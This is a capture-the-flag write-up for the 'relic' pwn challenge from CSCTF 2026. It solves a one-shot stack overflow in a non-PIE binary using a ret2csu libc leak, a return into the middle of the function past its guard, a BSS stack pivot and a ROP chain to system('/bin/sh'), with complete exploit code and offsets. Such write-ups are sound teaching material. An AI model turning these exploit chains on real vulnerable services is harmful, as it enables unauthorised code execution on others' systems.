CSCTF 2026 · Pwn · 328 pts
relic.
One deposit, a one-shot overflow, and a second read made possible by returning into the middle of the function that owns it.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Pwn |
| Points | 328 |
| Status | Solved during the event |
| Target | Non-PIE x86-64 vault binary (assigned TCP instance) |
TL;DR. vault() reads 0x120 bytes into a 64-byte stack buffer, but a one-shot guard means the process exits after one deposit. A ret2csu call leaks write@GOT, then the csu epilogue sets rbp into .bss and returns to vault+0x55 — the instruction after the guard — for an unlimited second read. That read is a libc-relative ROP chain, pivoted into BSS, ending in system("/bin/sh").
Challenge
An old Ash Army control unit accepts one deposit and then seals itself. The binary is the whole target; the flag is on the remote filesystem.
The build is deliberately old: non-PIE, NX, full RELRO, and no stack canary. The shipped ld-linux and libc.so.6 are Ubuntu 20.04 / glibc 2.31, so the offsets are fixed once the leak is known.
First look
$ checksec --file=relic
RELRO: Full RELRO Stack: No canary NX: Enabled
PIE: No PIE Arch: amd64-64-little
$ ./relic
Leave something in the vault: AAAA
Sealed.
The obvious bug is in vault():
char buf[0x40];
if (visited) { puts("Sealed."); return; }
visited = 1;
read(0, buf, 0x120);
0x120 bytes into a 0x40 buffer is a 72-byte overflow to the saved return address (64-byte buffer plus 8-byte saved rbp). The guard is the interesting part: after the read, the function returns and the process exits, so a conventional "overflow once, pivot, done" plan has to fit everything into that single chain.
Dead ends
- A direct
system("/bin/sh")chain needs the libc base, and the only way to get it is a leak. The binary has nopop rdi; retgadget and no convenientputs(ptr)call site. - Returning to the function entry point hits the
visitedguard and printsSealed. - Full RELRO rules out overwriting a GOT entry, and NX rules out returning to the stack. The only writable executable-adjacent target is the data segment, and it is not executable, so the chain must stay in ROP.
- A naive pivot to the start of the BSS page crashes inside
system(). The function uses several hundred bytes of stack belowrsp, and the page boundary is just below0x404000.
Solution
1. Leak libc with ret2csu
Ret2csu uses the __libc_csu_init epilogue that glibc 2.31 still links into non-PIE executables. The two gadgets are:
| Address | Instructions |
|---|---|
0x4012da | pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret |
0x4012c0 | mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8] |
Setting rbx=0, rbp=1, r12=1, r13=WRITE_GOT, r14=8, r15=WRITE_GOT calls write(1, write@got, 8) and then falls into the csu epilogue, which pops six registers and returns. The epilogue is also where the pivot is set: the pop rbp slot becomes PIVOT = 0x404ee0, and the final ret goes to VAULT_READ = 0x4011eb.
PAD = 72
WRITE_GOT = 0x403fd8
CSU_POP = 0x4012da
CSU_CALL = 0x4012c0
VAULT_READ = 0x4011eb
PIVOT = 0x404ee0
payload = b"A" * PAD
payload += p64(CSU_POP)
payload += p64(0) # rbx
payload += p64(1) # rbp: run the loop once
payload += p64(1) # r12 -> edi = 1 (stdout)
payload += p64(WRITE_GOT) # r13 -> rsi = &write@got
payload += p64(8) # r14 -> rdx = 8
payload += p64(WRITE_GOT) # r15 -> call [r15 + rbx*8]
payload += p64(CSU_CALL)
payload += p64(0) # add rsp, 8
payload += p64(0) # pop rbx
payload += p64(PIVOT) # pop rbp <- pivot for the re-entered read
payload += p64(0) * 4 # pop r12..r15
payload += p64(VAULT_READ)
send(payload.ljust(0x120, b"\x00"))
The read must be exactly 0x120 bytes. Sending fewer leaves the service waiting for the rest of the deposit and the leak never arrives.
2. Re-enter the function after the guard
0x4011eb is vault+0x55, the address of the second read(0, rbp-0x40, 0x120). Returning there skips the visited check entirely. With rbp = 0x404ee0, the read lands at 0x404ea0, inside the mapped RW page (0x404000–0x405000). After the read, leave; ret does the pivot:
0x404ea0 filler (0x40 bytes)
0x404ee0 dummy rbp <- leave pops this
0x404ee8 ret <- leave returns here
0x404ef0 pop rdi; ret
0x404ef8 "/bin/sh"
0x404f00 system
Pivoting at 0x404ee0 rather than 0x404040 leaves roughly 0x100 bytes below the chain for system()'s own stack usage. That is the difference between a shell and a SIGSEGV on the first write inside do_system.
3. Build the second-stage chain
libc_base = u64(leak) - 0x10e280 # write
ret = libc_base + 0x23b6b # ret, for 16-byte alignment
pop_rdi = libc_base + 0x23b6a
binsh = libc_base + 0x1b45bd
system = libc_base + 0x52290
chain = b"B" * 0x40
chain += p64(0xdeadbeef) # dummy rbp consumed by leave
chain += p64(ret) # align rsp
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(system)
send(chain.ljust(0x120, b"\x00"))
send(b"cat /flag; echo __CSCTF_END__\n")
The leak is 8 bytes of write@libc. The offset 0x10e280 is specific to the shipped glibc 2.31 build; using the host libc gives a page-unaligned base and a crash. The extra ret before pop rdi restores the 16-byte stack alignment that system() expects.
Flag
CSCTF{ySz32P6TxzV9qpL4FI7BlSnR}What I took from it
- A one-shot guard protects the entry point, not the function body. Returning to an address after the check reuses the dangerous code with none of the bookkeeping.
- ret2csu is still worth knowing. Modern compilers may not emit
__libc_csu_init, but old binaries and hand-written stubs do, and it provides a full three-argument call without a singlepop rdi. - Pivot placement matters. A chain that is correct on paper can crash because the function it calls needs stack space below
rsp; put the pivot near the top of the writable page, not the bottom.